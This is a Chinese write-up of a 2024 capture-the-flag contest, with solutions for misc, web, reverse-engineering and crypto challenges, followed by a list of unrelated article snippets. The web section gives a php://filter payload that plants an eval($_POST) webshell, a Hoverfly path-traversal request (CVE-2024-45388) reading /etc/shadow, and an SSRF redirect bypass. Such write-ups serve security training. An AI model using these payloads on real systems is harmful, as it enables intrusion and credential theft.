2024-金盾信安杯线上赛 WP
Misc
大赛宗旨
记事本打开,一眼零宽隐写

B 神工具一把梭,得到一串 base 编码

base64 解码得到 flag

flag 值:flag{5d5555fa-1303-4b43-8eef-d6ea7c64c361}
esab
根据题目 esab 可以发现这正是 base 的逆向,所以可以先逆向一下给出的字符串

然后解 base,和今年御网杯那道题类似,使用特定的网站解 base62

得到一串 base64 编码的文本,使用工具 basecrack 尝试一把梭

解了一个 base64 和一个 base91,得到的文本又像是 base62,再次 base62 解码,得到 flag

flag 值:flag{634285be-e7f0-9f0a-fb90-8da3a27fce06}
ezpng
将 password.txt 的内容放入 cyberchef 解密,得到一个密码 cimbar

flag.png 放入 010 查看,发现文件头尾都不对,尝试发现是异或得到的字符串 cimbar

使用 cyberchef 把图片异或回去,得到一张正常的 png 文件


网上找到一个项目,提取出 cimbar 图片里隐藏的文本,项目地址如下
https://github.com/sz3/cimbar
下载下来,将图片放到同一目录,使用如下命令,即可得到 flag
python -m cimbar.cimbar 111.png -o myoutputfile.txt

flag 值:flag{c06ff653-d96e-4c59-9667-655a8a18862e}
so far so good
谷歌搜索,发现是国外某比赛的原题,赛名 OliCyber.IT 2024,wp 如下:
https://github.com/OliCyberIT/OliCyber.IT-Writeups/blob/master/2024-nazionale/misc03.md
利用 wp 上给出的脚本,有些地方不适配,稍微修改下脚本,运行得到 flag,脚本如下:
import pyshark
from collections import defaultdict
from Crypto.Cipher import ChaCha20
import sysKEYSET = 0x74
NONCESET = 0x11
STORE = 0xC1
RESET = 0xB8
ACK = 0x14
ERROR = 0xFFstreams = defaultdict(lambda: b"")
cap = pyshark.FileCapture(f"dump.pcapng")for p in cap:try:i = int(p.tcp.stream)streams[i] += bytes.fromhex(p.data.data)except:pass
cap.close()stream = streams[0]kidxs = [i for i, x in enumerate(stream) if x == KEYSET]
nidxs = [i for i, x in enumerate(stream) if x == NONCESET]
print(f'{kidxs = }')
print(f'{nidxs = }')def read():global streams = stream[0]stream = stream[1:]return sclass Message():def __init__(self) -> None:self.code = Noneself.param = Noneself.len = Noneself.data = Nonedef read(self):self.code = read()self.param = read()self.len = read()self.data = []for i in range(self.len):self.data.append(read())def handle(self):global KEY, IV, cipher, keyset, nonceset, ciphersetif self.code == KEYSET:for i in range(32):KEY[i] = self.data[i]keyset = Truecipherset = Falseelif self.code == NONCESET:for i in range(8):IV[i] = self.data[i]nonceset = Truecipherset = Falseelif self.code == STORE:if not keyset or not nonceset:returnif not cipherset:cipherset = Truecipher = ChaCha20.new(key=bytes(KEY), nonce=bytes(IV))dec = cipher.decrypt(bytes(self.data))for i in range(self.len):FLAG[10 * self.param + i] = dec[i]if -1 not in FLAG:print(bytes(FLAG))return Trueelif self.code == RESET:KEY = [0] * 32IV = [0] * 8keyset = Falsenonceset = Falsecipherset = False_stream = stream[:]
for ki in kidxs:for ni in nidxs:if ki > ni:continueprint('key index:', ki, '\tnonce index:', ni)KEY = [-1] * 32IV = [-1] * 8FLAG = [-1] * 40keyset = Falsenonceset = Falsecipherset = Falsecipher = Nonetry:stream = stream[ki:]m = Message()m.read()m.handle()stream = stream[ni - ki - 35:]m = Message()m.read()m.handle()while len(stream) > 0:ni = stream.index(NONCESET) if NONCESET in stream else 99999si = stream.index(STORE) if STORE in stream else 99999next_idx = min([ni, si])stream = stream[next_idx:]m = Message()m.read()if m.handle():breakexcept:print('Exception')passstream = _stream[:]
运行结果如图所示,得到 flag

flag 值:flag{0h_usb_0v3r_1p_i5_s0_c00l_567c08e6}
Web
fillllll_put
源码如下:
<?phphighlight_file(__FILE__);
$filename=$_GET['filename'];
if(isset($filename)){$content=$_GET['content'];file_put_contents($filename,'<?php exit();'.$content);}
经典的伪协议绕过死亡 exit(),网上有很多参考文章
payload 如下:
?filename=php://filter/convert.base64-decode/resource=shell.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

访问 shell.php,成功解析

使用蚁剑连接一句话木马,连接成功

根目录没有,在根目录下的/tmp 目录翻到 flag.txt

flag 值:flag{89166828-7120-42be-966c-820fc46d74a6}
hoverfly
打开是一个 Hoverfly 的界面

网上找到一个 CVE,Hoverfly 任意文件读取漏洞(CVE-2024-45388),复现文章如下:
https://blog.csdn.net/qq_38154820/article/details/142891049
burp 抓包,修改数据包如下:
PUT /api/v2/simulation HTTP/1.1
Host: 114.55.67.167:50463
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}
成功读取 /etc/passwd,可以读取任意文件

翻遍了没找到哪里有 flag,var/log/syslog 记录了系统级别的日志信息,包括系统启动、服务启动和停止、内核消息、硬件错误、软件错误等,在日志里得到提示 see see /tmp/fa1g

访问 /tmp/fa1g 文件得到 flag

flag 值:flag{57a4de14-9151-4554-b36a-b12dfc79c2d3}
ssrf
进入页面,提示查询网站,根据题目名字 ssrf 知道肯定是读内网文件

先扫一下有什么文件,发现 flag.php

直接读取 127.0.0.1 下的 flag.php,提示无效的 url

可以使用域名重定向绕过,找到如下域名,测试可以绕过
http://wifi.aliyun.com/flag.php
成功读取到 flag

flag 值:flag{980a8f2f-00c6-4e60-8468-9b44a948df44}
Reverse
babyre
首先通过 sub_401050 提示输入flag,并通过 sub_4010C0 读取最多32字节的输入到 v23。
输入被分为两部分:前16字节存储到 v26。后16字节存储到 v24。

前16字节解码:
使用硬编码目标值 v6 的前四组数据作为目标(共4个整数)。
对解密后的数据还原高低位交换(调用 sub_401130 的逆向逻辑)。
TEA加密逆向:根据代码分析 sub_4012B0 是TEA加密的部分,需要实现解密逻辑。

脚本如下:
#include <stdio.h>
#include <stdint.h>// TEA解密函数
void decrypt(uint32_t* v, uint32_t* key) {
uint32_t delta = 0x61C88647; // Delta常量
uint32_t sum = 0 - 32 * delta; // 初始化sum
uint32_t v0 = v[0], v1 = v[1];for (int i = 0; i < 32; i++) {v1 -= ((v0 >> 5) + key[3]) ^ (v0 + sum) ^ ((v0 << 4) + key[2]);v0 -= ((v1 >> 5) + key[1]) ^ (v1 + sum) ^ ((v1 << 4) + key[0]);sum += delta;}v[0] = v0;v[1] = v1;}int main() {// 密钥uint32_t key[4] = {0x00001266, 0x00003404, 0x0000562A, 0x000078C2};// 密文uint32_t enc[4] = {0x369A1583, 0x009A9E6D, 0xBE761C60, 0x3ED644A0};// 对密文分块解密decrypt(enc, key); // 解密前两部分decrypt(enc + 2, key); // 解密后两部分// 输出解密后的结果(大端序)printf("Flag: ");for (int i = 0; i < 4; i++) { // 遍历解密后的4个32位整数for (int j = 3; j >= 0; j--) { // 大端序输出每个字节(高位字节在前)printf("%c", (enc[i] >> (8 * j)) & 0xFF);}}printf("\n");return 0;}
后16字节解码:
从目标值 v6 的后四组数据中提取目标(共4个整数)。
高低位交换逆向:调用 sub_401130 的逆向逻辑。
凯撒密码逆向:对替换的字符使用偏移量为 -3 的逆操作。

解密脚本如下:
def reverse_byte_order(data):"""高低位交换"""return [((x >> 24) & 0xFF) | ((x >> 8) & 0xFF00) |((x & 0xFF00) << 8) | ((x & 0xFF) << 24)for x in data]def reverse_caesar_cipher(data, shift=3):"""逆凯撒密码,shift是偏移量"""result = []for ch in data:if 'A' <= ch <= 'Z':result.append(chr((ord(ch) - shift - 65) % 26 + 65))elif 'a' <= ch <= 'z':result.append(chr((ord(ch) - shift - 97) % 26 + 97))else:result.append(ch)return ''.join(result)# 硬编码的目标数据
v6 = [916067715, 10133101, -1099555744, 1054229664,1685154385, 1816750188, 1416384356, 1814110589
]v19 = v6[4:]
v19 = reverse_byte_order(v19)
cipher2 = ''.join([chr((x >> (8 * i)) & 0xFF) for x in v19 for i in range(4)])
plain2 = reverse_caesar_cipher(cipher2)print(plain2)
两端 flag 都已经拿到了,直接拼接两段,得到完整 flag
flag 值:flag{ZhuangBiWoRangNiFeiQiLai!!}
Crypto
Ezrsa
from Crypto.Util.number import *
from Crypto.Util.Padding import *def generate_prime(bits=512):return getPrime(bits)
def generate_rsa_key(bits=512, e=9):while True:p, q = generate_prime(bits), generate_prime(bits)n = p * qif GCD((p-1)*(q-1), e) == 1:d = inverse(e, (p-1)*(q-1))return n, e, d
def encrypt_message(message, e, n):return pow(message, e, n)
def decrypt_message(ciphertext, d, n):return pow(ciphertext, d, n)
def main(flag_text=b"flag{*******************}", num_keys=9, bits=512, e=9):FLAG = bytes_to_long(pad(flag_text, 64))n_list = []c_list = []for i in range(num_keys):n, e, d = generate_rsa_key(bits, e)n_list.append(n)c = encrypt_message(FLAG, e, n)c_list.append(c)assert decrypt_message(c, d, n) == FLAGprint("n_list:", n_list)print("c_list:", c_list)if __name__ == "__main__":main()
看到e=9,以及九组密文c和模数n,挨个爆破
Ci=pow(m,e,Ni) i=1,2,3,....,9
对list_n和list_c遍历爆破
脚本如下:
import gmpy2
import math
from Crypto.Util.number import long_to_bytesdef merge(a1, n1, a2, n2):d = math.gcd(n1, n2)c = a2 - a1if c % d != 0:return 0c = (c % n2 + n2) % n2c = c // dn1 = n1 // dn2 = n2 // dc *= gmpy2.invert(n1, n2)c %= n2c *= n1 * dc += a1global n3global a3n3 = n1 * n2 * da3 = (c % n3 + n3) % n3return 1def exCRT(a, n):a1 = a[0]n1 = n[0]le = len(a)for i in range(1, le):a2 = a[i]n2 = n[i]if not merge(a1, n1, a2, n2):return -1a1 = a3n1 = n3global modmod = n1return (a1 % n1 + n1) % n1def exCRT_getequation(a, n):a1 = a[0]n1 = n[0]le = len(a)for i in range(1, le):a2 = a[i]n2 = n[i]if not merge(a1, n1, a2, n2):return -1a1 = a3n1 = n3return (a1, n1)# 示例数据
n = [...] # 请替换为实际的n值
c = [...] # 请替换为实际的c值m9 = exCRT(c, n)
m = gmpy2.iroot(m9, 9)[0]
print(long_to_bytes(m))
flag 值:flag{25f028f3-5362-4d1d-ab16-ae65503e447f}
Madoka Runes
搜索题目,发现图形加密方式,魔女文字,对比得到压缩包密码ctf951zhen,从而得到flag

flag 值:flag{f393e6c7-b150-6ecd-0458-c8f38363cb3e}
相关文章:
2024-金盾信安杯线上赛 WP
Misc 大赛宗旨 记事本打开,一眼零宽隐写 B 神工具一把梭,得到一串 base 编码 base64 解码得到 flag flag 值:flag{5d5555fa-1303-4b43-8eef-d6ea7c64c361} esab 根据题目 esab 可以发现这正是 base 的逆向,所以可以先逆向一下…...
MySQL 基础架构
MySQL的基础架构主要由三大核心部分构成,以下是详细的解析: 一、连接层 连接层是客户端与MySQL数据库之间的桥梁,主要负责通信和身份验证,确保数据交换的安全与稳定。具体来说,它负责以下任务: 建立连接…...
汽车升级到底应不应该设置“可取消“功能
最近,汽车OTA(Over-the-Air)升级频频成为车主讨论的热点。有些车主反映,一些升级增加了实用功能,而另一些却让体验变得复杂甚至带来不便。于是,大家不禁发问:汽车升级功能究竟应不应该允许“可取…...
【MySQL】mysql中的事务
目录 1、背景2、事务的特性3、事务之间的几种错误【1】脏读【2】不可重复读【3】幻读 4、事务中的隔离级别5、总结 1、背景 事务是存储引擎层面实现的,有的引擎支持事务,有的引擎不支持事务,我们常用的引擎InnoDB就支持事务,本文…...
大语言模型(LLM)与智能机器人的应用分析
系列文章目录 前言 近年来,大型语言模型(LLM)的集成彻底改变了机器人领域,使机器人能够以人类熟练程度进行交流、理解和推理。本文探讨了 LLM 对机器人的多方面影响,并针对在不同领域利用这些模型的关键挑战和机遇进行了研究。通过将 LLM 应用程序分类并分析核心机器人元素…...
Inno Setup 学习笔记(一)
前言 最近想把自己写的Windows端的软件打包成安装程序exe,又觉得自带的界面太丑了,想自己完全做一个新的页面 网上找到的只有基础教程,记录一下进阶学习过程 生命周期 按照Vue的说法叫生命周期,Inno Setup中叫 Pascal 脚本: 事…...
从阿里云EDM到美团云:典型微服务治理平台的实战经验分享
目录 一. 阿里云 EDM(Enterprise Distributed Application Service) 二. 腾讯云 TSF(Tencent Service Framework) 三. 华为云 FusionStage 四. 京东云 JDC(JD Cloud Microservice Platform) 五. 百度智…...
【接口自动化测试】一文从3000字从0到1详解接口测试用例设计
接口自动化测试是软件测试中的一种重要手段,它能有效提高测试效率和测试覆盖率。在进行接口自动化测试之前,首先需要进行接口测试用例的设计。本文将从0到1详细且规范的介绍接口测试用例设计的过程,帮助读者快速掌握这一技能。 一、了解接口…...
反向代理-缓存篇
文章目录 强缓存一、Expires(http1.0 规范)二、cache-control(http1.1 出现的 header 信息)Cache-Control 的常用选项Cache-Control 常用选项的选择三、弊端协商缓存一、ETag二、If-None-Match三、Last-modified四、If-Modified-Since浏览器的三种刷新方式静态资源部署策略…...
【伪代码】数据结构-期末复习 线性表
目录 例1 矩阵相乘 线性表 2.1 线性表的类型定义 例2-1 求并集 LALA∪LB 例2-2 有序表归并 2. 2 线性表的顺序表示和实现 1.构造空表 2.插入 3.删除 4.定位 顺序表的优点: 顺序表的缺点: 例…...
JavaWeb学习、过滤器、ajax异步请求、json、jquery-api文档
一、过滤器: 按照过滤规则筛选出想要的资源。 为什么使用过滤器? 1. 很多地方都需要判断是否登录。如果我们在每个资源出进行判断,非常麻烦。我们可以使用过滤器在访问这些资源前进行判断。 (这样就不用在主界面,修改…...
深入探索 JVM:原理、机制与实战
一、JVM 概述 JVM(Java Virtual Machine)是 Java 程序运行的核心组件,它提供了一个独立于硬件和操作系统的执行环境,使得 Java 程序能够在不同平台上具有跨平台的特性。 JVM 主要由以下几部分组成: 类装载器…...
JavaWeb学习(3)(Servlet详细、Servlet的三种实现方式(面试)、Servlet的生命周期、传统web.xml配置Servlet(了解))
目录 一、Servlet详细。 (1)基本介绍。 (2)基本作用。 1、接收客户端请求数据。 2、处理请求。 3、完成响应结果。 二、Servlet的三种实现方式。 (1)实现javax.servlet.Servlet接口。 1、基本介绍。 2、代码…...
支付宝租赁小程序助力便捷生活新方式
内容概要 支付宝租赁小程序为现代人带来了许多惊喜,它不仅仅是一个简单的租赁平台,更是生活中不可或缺的好帮手。想象一下,无论你缺少什么,从工具到家居用品,只需轻轻一点,便能轻松找到需要的物品。这个小…...
Linux-ubuntu环境配置
一,安装VWware,里面导入镜像文件 这些都是文件夹里面有的,然后对着正点原子视频安装就行,虚拟机的破解码,去百度搜一个能用就行,中间遇见俩问题。①乌班图里面不能上网,②插入U盘后,…...
深入解析下oracle的number底层存储格式
oracle数据库中,number数据类型用来存储数值数据,它既可以存储负数数值,也可以存储正数数值。相对于其他类型数据,number格式的数据底层存储格式要复杂得多。今天我们就详细探究下oracle的number底层存储格式。 一、环境搭建 1.…...
nginx代理rabbitmq和配置 Nginx 代理达梦数据库
在 Nginx 中使用 stream 模块进行 TCP 代理时,可以将 TCP 或 UDP 流量转发到指定的后端服务器。你给出的配置是一个用于代理 RabbitMQ 的示例,具体是在 TCP 层上代理 5672 端口的流量。 只能在nginx.conf配置上代理 stream {# 定义 upstream,…...
汉语唤醒词的模糊判断(Python)
汉语唤醒词的模糊判断【Python】 说明安装库代码Demo其他 说明 这是一个简单的汉语模糊唤醒词的判断器,汉语发音中前后舌以及声母韵母的区别,如果进行精准判断,很容易误判。需要一个模糊判断的逻辑! 安装库 pip install pypinyin代码Demo …...
Redis篇-2--原理篇1--I/O多路复用机制(5种I/O模型,I/O多路复用)
I/O多路复用机制: Redis 是通过I/O多路复用机制来管理大量客户端连接。这使得redis可以实现通过单线程来处理多个客户端连接的请求,避免了为每个客户端创建独立的线程,从而减少了上下文切换的开销,提高了系统的并发性和性能。 理解…...
Knowledge Graph Studio:让知识图谱构建更简单、更智能
一、前言 上周和研究院的同事讨论 2025 年大模型产品规划时,让我产生了一些疑惑和不解,因为从大家交流的规划方向来看,更多的还是集中在Prompt提示词工程(包括提示词的管理、测试、评估、调优)这一块规划的确实挺细&a…...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...
Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...
系统设计 --- MongoDB亿级数据查询优化策略
系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log,共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题,不能使用ELK只能使用…...
如何在看板中有效管理突发紧急任务
在看板中有效管理突发紧急任务需要:设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP(Work-in-Progress)弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中,设立专门的紧急任务通道尤为重要,这能…...
LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf
FTP 客服管理系统 实现kefu123登录,不允许匿名访问,kefu只能访问/data/kefu目录,不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...
前端中slice和splic的区别
1. slice slice 用于从数组中提取一部分元素,返回一个新的数组。 特点: 不修改原数组:slice 不会改变原数组,而是返回一个新的数组。提取数组的部分:slice 会根据指定的开始索引和结束索引提取数组的一部分。不包含…...
LCTF液晶可调谐滤波器在多光谱相机捕捉无人机目标检测中的作用
中达瑞和自2005年成立以来,一直在光谱成像领域深度钻研和发展,始终致力于研发高性能、高可靠性的光谱成像相机,为科研院校提供更优的产品和服务。在《低空背景下无人机目标的光谱特征研究及目标检测应用》这篇论文中提到中达瑞和 LCTF 作为多…...
DiscuzX3.5发帖json api
参考文章:PHP实现独立Discuz站外发帖(直连操作数据库)_discuz 发帖api-CSDN博客 简单改造了一下,适配我自己的需求 有一个站点存在多个采集站,我想通过主站拿标题,采集站拿内容 使用到的sql如下 CREATE TABLE pre_forum_post_…...
车载诊断架构 --- ZEVonUDS(J1979-3)简介第一篇
我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 做到欲望极简,了解自己的真实欲望,不受外在潮流的影响,不盲从,不跟风。把自己的精力全部用在自己。一是去掉多余,凡事找规律,基础是诚信;二是…...
13.10 LangGraph多轮对话系统实战:Ollama私有部署+情感识别优化全解析
LangGraph多轮对话系统实战:Ollama私有部署+情感识别优化全解析 LanguageMentor 对话式训练系统架构与实现 关键词:多轮对话系统设计、场景化提示工程、情感识别优化、LangGraph 状态管理、Ollama 私有化部署 1. 对话训练系统技术架构 采用四层架构实现高扩展性的对话训练…...
